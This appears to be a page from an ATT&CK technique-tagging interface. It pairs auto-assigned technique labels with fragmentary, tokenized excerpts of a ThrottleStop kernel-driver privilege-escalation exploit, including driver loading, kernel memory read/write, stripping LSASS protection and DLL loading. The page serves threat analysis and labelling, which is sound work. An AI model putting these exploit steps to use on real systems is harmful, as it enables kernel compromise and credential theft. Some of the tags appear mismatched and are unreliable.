T1068 Exploitation for Privilege Escalation
“[ local ] throttlestop kernel driver - kernel out - of - bounds write privilege escalation throttlestop kernel driver - kernel out - of - bounds write privilege escalation # exploit title : throttlestop kernel driver - kernel out - of - bounds write privilege escalation # exploit…”
Mark wrong
Looks right
Undo / change
Retry
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
×
No matches for .
Loading techniques…
Submit correction
Saving…
Cancel
T1003.001 LSASS Memory
“searchprocesspid = xread ( hdrv, ( uint64 _ t ) searcheprocess + 0x2e0 ) ; / / + 0x2e0 uniqueprocessid : ptr64 void if ( searchprocesspid = = lsasspid ) / / lsass process { break ; } } printf ( " [ + ] found lsass eprocess! \ n " ) ; printf ( " [ + ] removing ppl protection... \ …”
Mark wrong
Looks right
Undo / change
Retry
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
×
No matches for .
Loading techniques…
Submit correction
Saving…
Cancel
T1055.001 Dynamic-link Library Injection
“##el : uchar printf ( " [ + ] lsass protections disabled \ n " ) ; closehandle ( hdrv ) ; security _ package _ options spo = { } ; security _ status ss = addsecuritypackagea ( ( lpstr ) " c : \ \ windows \ \ system32 \ \ ntssp. dll ", & spo ) ; printf ( " [ + ] dll injection succ…”
Mark wrong
Looks right
Undo / change
Retry
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
×
No matches for .
Loading techniques…
Submit correction
Saving…
Cancel
T1055.001 Dynamic-link Library Injection
“##ror ( ) ) ; } else { printf ( " [ + ] service started correctly. \ n " ) ; } lpvoid nt _ base = getbaseaddr ( l " ntoskrnl. exe " ) ; printf ( " [ + ] nt base : % p \ n ", nt _ base ) ; handle hdrv = null ; hdrv = createfilea ( " \ \ \ \. \ \ throttlestop ", ( generic _ read | …”
Mark wrong
Looks right
Undo / change
Retry
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
×
No matches for .
Loading techniques…
Submit correction
Saving…
Cancel
T1543.003 Windows Service
“! ] error opening scm : % lu \ n ", getlasterror ( ) ) ; return 1 ; } / / create the service hservice = createservice ( hscmanager, l " throttlestop ", l " throttlestop ", service _ all _ access, service _ kernel _ driver, service _ auto _ start, service _ error _ normal, l " c :…”
Mark wrong
Looks right
Undo / change
Retry
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
×
No matches for .
Loading techniques…
Submit correction
Saving…
Cancel
T1569.002 Service Execution
“! ] error opening scm : % lu \ n ", getlasterror ( ) ) ; return 1 ; } / / create the service hservice = createservice ( hscmanager, l " throttlestop ", l " throttlestop ", service _ all _ access, service _ kernel _ driver, service _ auto _ start, service _ error _ normal, l " c :…”
Mark wrong
Looks right
Undo / change
Retry
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
×
No matches for .
Loading techniques…
Submit correction
Saving…
Cancel
T1055.001 Dynamic-link Library Injection
“searchprocesspid = xread ( hdrv, ( uint64 _ t ) searcheprocess + 0x2e0 ) ; / / + 0x2e0 uniqueprocessid : ptr64 void if ( searchprocesspid = = lsasspid ) / / lsass process { break ; } } printf ( " [ + ] found lsass eprocess! \ n " ) ; printf ( " [ + ] removing ppl protection... \ …”
Mark wrong
Looks right
Undo / change
Retry
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
×
No matches for .
Loading techniques…
Submit correction
Saving…
Cancel
T1057 Process Discovery
“0x % llx \ n ", ok, br, getlasterror ( ), ( unsigned long long ) out ) ; if ( ok & & br = = 8 & & out ) { ulonglong result = * ( volatile ulonglong * ) ( uintptr _ t ) out ; / / 8 bytes exactos } / / write printf ( " [ + ] write what : 0x % 016llx | where : 0x % 016llx \ n ", ( u…”
Mark wrong
Looks right
Undo / change
Retry
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
×
No matches for .
Loading techniques…
Submit correction
Saving…
Cancel
T1057 Process Discovery
“##rocess = ulonglong ( nt _ base ) + 0x5412e0 ; dword64 eprocess = xread ( hdrv, ( uint64 _ t ) system _ eprocess ) ; printf ( " [ + ] eprocess : 0x % llx \ n ", eprocess ) ; dword64 currentprocesspid = xread ( hdrv, ( uint64 _ t ) system _ eprocess + 0x2e0 ) ; / / + 0x2e0 unique…”
Mark wrong
Looks right
Undo / change
Retry
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
×
No matches for .
Loading techniques…
Submit correction
Saving…
Cancel
T1003.001 LSASS Memory
“sizeof ( processentry32w ) ; if ( process32firstw ( snapshot, & entry ) ) { do { if (! _ wcsicmp ( entry. szexefile, processname. c _ str ( ) ) ) { processid = entry. th32processid ; break ; } } while ( process32nextw ( snapshot, & entry ) ) ; } closehandle ( snapshot ) ; return …”
Mark wrong
Looks right
Undo / change
Retry
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
×
No matches for .
Loading techniques…
Submit correction
Saving…
Cancel
T1055.001 Dynamic-link Library Injection
“##rocess = ulonglong ( nt _ base ) + 0x5412e0 ; dword64 eprocess = xread ( hdrv, ( uint64 _ t ) system _ eprocess ) ; printf ( " [ + ] eprocess : 0x % llx \ n ", eprocess ) ; dword64 currentprocesspid = xread ( hdrv, ( uint64 _ t ) system _ eprocess + 0x2e0 ) ; / / + 0x2e0 unique…”
Mark wrong
Looks right
Undo / change
Retry
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
×
No matches for .
Loading techniques…
Submit correction
Saving…
Cancel
T1055.001 Dynamic-link Library Injection
“sizeof ( processentry32w ) ; if ( process32firstw ( snapshot, & entry ) ) { do { if (! _ wcsicmp ( entry. szexefile, processname. c _ str ( ) ) ) { processid = entry. th32processid ; break ; } } while ( process32nextw ( snapshot, & entry ) ) ; } closehandle ( snapshot ) ; return …”
Mark wrong
Looks right
Undo / change
Retry
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
×
No matches for .
Loading techniques…
Submit correction
Saving…
Cancel